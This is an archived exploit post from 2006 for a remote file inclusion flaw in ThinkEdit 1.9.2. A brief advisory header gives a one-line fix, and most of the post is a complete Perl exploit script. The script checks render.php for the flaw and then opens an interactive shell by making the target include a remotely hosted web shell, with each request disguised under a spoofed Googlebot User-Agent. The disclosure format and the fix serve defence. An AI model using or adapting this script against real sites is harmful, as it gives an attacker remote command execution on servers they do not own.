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thinkedit-rfi.txt

Posted on 09 December 2006

################################################################################################# # r0ut3r Presents... # # # # Another r0ut3r discovery! # # writ3r [at] gmail.com # # # # ThinkEdit Remote File Inclusion Exploit # ################################################################################################# # Software: ThinkEdit 1.9.2 # # # # Vendor: http://www.thinkedit.org/ # # # # Released: 2006/12/08 # # # # Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com) # # # # Note: The information provided in this document is for ThinkEdit administrator # # testing purposes only! # # # # Solution: # # Add the below code to the top of render.php # # if(basename(__FILE__) == basename($_SERVER['PHP_SELF'])) # # die(); # # # # Exploit: # # perl think.pl http://localhost /think/ http://localhost/cmd.txt cmd # # # # design/thinkedit/render.php?template_file= # ################################################################################################# ############################################################################ # Remote File Inclusion Exploiter # # # # This script attempts to exploit a remote file include vulnerability # # by inserting a web shell into an include statement. A shell is then # # spawned. # # # # Created By r0ut3r (writ3r [at] gmail.com) # ############################################################################ use IO::Socket; $port = "80"; # connection port $target = @ARGV[0]; # localhost $folder = @ARGV[1]; # /think/ $shellloc = @ARGV[2]; # http://localhost/cmd.txt $cmdv = @ARGV[3]; # cmd $vulnerable = false; $s = true; sub Header() { print q {Remote File Inclusion Exploiter - By r0ut3r (writ3r [at] gmail.com) ------------------------------------------------------------------- }; } sub Usage() { print q { Usage: think.pl [target] [directory] [shell_loc] [cmd_variable] perl think.pl http://localhost /think/ http://localhost/cmd.txt cmd }; exit(); } Header(); if (!$target || !$folder || !$shellloc || !$cmdv) { Usage(); } if ($s eq false) { print "[-] Shell not found "; exit(); } # Check if the script is vulnerable and register_globals are on (if needed) $vulnc = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting... "; print $vulnc "GET ".$folder."render.php?template_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1 "; print $vulnc "Host: $target "; print $vulnc "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html) "; print $vulnc "Accept: text/html "; print $vulnc "Connection: keep-alive "; while (<$vulnc>) { if (/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/) { $vulnerable = true; } } if ($vulnerable eq false) { print "[-] Target not vulnerable, or register_globals could be off "; exit(); } print "[+] Starting shell "; print "[cmd]$ "; $cmd = <STDIN>; $cmd =~ s/ /%20/g; while ($cmd !~ "exit") { $xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting... "; print $xpack "GET ".$folder."render.php?template_file=".$shellloc."&".$cmdv."=".substr($cmd, 0, -1)." HTTP/1.1 "; print $xpack "Host: $target "; print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html) "; print $xpack "Accept: text/html "; print $xpack "Connection: keep-alive "; print "[cmd]$ "; $cmd = <STDIN>; } print "[!] Connection to host lost... ";

 

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